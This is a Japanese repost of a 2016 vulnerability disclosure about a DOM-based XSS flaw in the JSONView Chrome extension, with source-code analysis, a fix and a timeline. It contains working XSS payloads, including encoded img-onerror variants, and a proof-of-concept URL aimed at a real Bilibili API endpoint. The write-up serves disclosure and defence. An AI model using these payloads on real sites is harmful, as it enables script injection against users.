開いた銃を避けるのは簡単だが、隠された矢を防ぐのは難しい

WBOY
リリース: 2016-06-21 08:48:24
オリジナル
1412 人が閲覧しました

2016 年 4 月 28 日 - evi1m0

[+] Author: evi1m0[+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com[+] Create: 2016-04-28
ログイン後にコピー

0x01 JSONView の概要

  • Github: https:// github.com/gildas-lormeau/JSONView-for-Chrome

  • ChromeStore: https://chrome.google.com/w…..bnpoihckbnefhakgolnmc?hl=en-US

JSONView プラグインは、現在最も人気のある開発者ツール プラグインであり、json データを表示するためのアーティファクトです。一般的に、json データは通常、書式設定されておらず、Unicode エンコードされておらず、インデントや改行などがないため、開発者にとっては読み取りが困難になります。 jsonview プラグインは、json データを自動的にトランスコード、インデント、書式設定し、書式設定されたデータを直接表示できるため、開発者はこの記事で問題となっているバージョンの JSONView プラグインを Chrome ブラウザで簡単に読み取ることができます。 Firefox 上のバージョンは影響を受けません。

0x02 正しい処理方法

開発者が JSONP コールバックを使用してクロスドメイン リクエストを行う場合、通常はフロントエンド呼び出しの便宜のためにコールバック名をカスタマイズ可能にすることがわかっています。 function? callback=jQuery14114 の場合、ページはコールバック パラメーター値をページに出力するため、コールバックによって引き起こされる多くのクロスサイト脆弱性が存在します。ほとんどの解決策には、URL 特殊文字のフィルター処理と Content-Type:application/ の厳密な定義が含まれます。レスポンスヘッダーのjson。

次の例は Bilibili API です:

http://api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783

レスポンス ヘッダーは Content-Type タイプを json データ形式として厳密に定義しているため、エスケープされていないタグ コードを正常に挿入したにもかかわらず、まだ実行されないことがわかります (ChromeView-source In モードの場合)正常に解析されるとハイライトマークが付きます)、JSONView のストーリーもこの時点から始まります。

0x03 Dom XSS 脆弱性

JSONView プラグインは次のように元の乱雑な JSON データを美しくできることを前述しました:

使用時JSONView プロセス中に、JSONView がデータを抽出してレンダリングしたため、存在しない抜け穴がここで再現されていることがわかりました。ここでは、Web サイトが Content-Type タイプを制限するが特殊文字はフィルタリングしないフィルタリングを使用するという前提があります。

その後のソース コード分析では、DOM を介してデータを挿入し、スクリプトを直接記述するとリソースが読み込まれないため、多くの方法を使用して悪意のある攻撃をトリガーできることがわかりました。コード:

1. <img src=@ onerror=alert(1)>2. <body onload=alert(1)>3. ...
ログイン後にコピー

テストに合格した後、パラメーターにスペースと括弧が含まれている限り、プラグインは JSON 結果を処理しなくなることがわかりました。データ分析は有効になっていますが、ブラック ボックスのテスト プロセスではスラッシュやその他のテクニックを使用して悪意のあるコードをロードしましたが、このプラグインがどのような処理を行うかを確認する必要があります。

0x04 ソース コード分析

ブレークポイント デバッグを通じて、innerHTML ファイルを見つけます: /master/WebContent/content.js

function displayUI(theme, html) {    var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = "";    content += '<link rel="stylesheet" type="text/css" href="' + chrome.runtime.getURL("jsonview-core.css") + '">';    content += "<style>" + theme + "</style>";    content += html;    document.body.innerHTML = content;    ....}function init(data) {    port.onMessage.addListener(function(msg) {        if (msg.oninit) {            options = msg.options;            processData(data);        }        if (msg.onjsonToHTML)            if (msg.html) {                displayUI(msg.theme, msg.html);            } else if (msg.json)                port.postMessage({                    getError : true,                    json : json,                    fnName : fnName                });        if (msg.ongetError) {            displayError(msg.error, msg.loc, msg.offset);        }    });    port.postMessage({        init : true    });}
ログイン後にコピー

displayUI 関数で innerHTML の操作を確認します。 document.body.innerHTML = content; エントリ file/JSONView-for-Chrome/blob/master/WebContent/background の jsonToHTML 関数を見てみましょう。 js 読み込み:

/master/WebContent/workerFormatter.js コードのコア部分を抽出します:

function htmlEncode(t) {    return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">") : '';}function decorateWithSpan(value, className) {    return '<span class="' + className + '">' + htmlEncode(value) + '</span>';}function jsonToHTML(json, fnName) {    var output = '';    if (fnName)        output += '<div class="callback-function">' + fnName + '(</div>';    output += '<div id="json">';    output += valueToHTML(json);    output += '</div>';    if (fnName)        output += '<div class="callback-function">)</div>';    return output;}addEventListener("message", function(event) {    var object;    try {        object = JSON.parse(event.data.json);    } catch (e) {        postMessage({            error : true        });        return;    }    postMessage({        onjsonToHTML : true,        html : jsonToHTML(object, event.data.fnName)    });}, false);
ログイン後にコピー

そして html: jsonToHTML(object,event.data.fnName) イベントの下のブレークポイントをトレースし、fnName/master/WebContent/content.js の割り当てコードを見つけます:

function extractData(rawText) {    var tokens, text = rawText.trim();    function test(text) {        return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}"));    }    if (test(text))        return {            text : rawText,            offset : 0        };    tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/);    if (tokens && tokens[1] && tokens[2]) {        if (test(tokens[2].trim()))            return {                fnName : tokens[1],                text : tokens[2],                offset : rawText.indexOf(tokens[2])            };    }}
ログイン後にコピー

extractData関数では、fnName の割り当てを見つけた後、トークンは規則に従って解析する必要がある fnName、テキスト、およびその他の値を取得します。つまり、この規則性により、テキストに一致するためかっこを挿入することができなくなります。 🎜>

0x05 テスト コードを実行します

正規表現を読むと、URL エンコード (HTML エンティティ エンコード) + スラッシュを使用してコードを挿入して実行できることがわかりました。

1. <img/src='@'/onerror=alert(window.location)>2. <img/src='@'/onerror=alert(window.location)>3. <img/src='@'/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783
ログイン後にコピー

いくつかの変換の後、window.location アドレスをポップアップする最終テスト コードを作成しました。このようにして、元の厳密なフィルタリング インターフェイスは、JSONView の問題により完全に崩壊しました。

0x06 修復ソリューション

フィルタリングには /master/WebContent/workerFormatter.js ファイルの htmlEncode 関数を使用します:

function jsonToHTML(json, fnName) {    var output = '';    if (fnName)        output += '<div class="callback-function">' + htmlEncode(fnName) + '(</div>';    output += '<div id="json">';    output += valueToHTML(json);    output += '</div>';    if (fnName)        output += '<div class="callback-function">)</div>';    return output;}
ログイン後にコピー

0x07 VulnTimeline

    脆弱性を発見 - 2016/04/28 15:00
  • JSONView プラグイン (Chrome プラットフォーム) が更新されていないため。長い間、脆弱性を修正するために作者に連絡できませんでした - 2016/04/28 20:15
  • @evi1m0 経由で論文を書いてください - 2016/04/28 22:32
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!